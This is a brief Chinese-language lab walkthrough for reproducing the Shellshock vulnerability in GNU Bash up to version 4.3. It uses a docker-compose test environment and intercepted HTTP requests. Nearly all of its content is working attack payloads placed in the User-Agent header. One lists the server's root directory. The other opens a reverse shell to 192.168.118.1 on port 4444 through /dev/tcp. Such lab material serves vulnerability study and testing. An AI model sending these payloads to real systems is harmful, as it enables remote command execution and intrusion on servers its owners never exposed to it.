Bash(shellshock)

影响
漏洞影响：GNU Bash <= 4.3

启动服务器

搭建：docker-compose up -d
查看：docker-compose ps

抵达网站

抓包拦截

User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);
反弹shell：User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.118.1/4444 0>&1;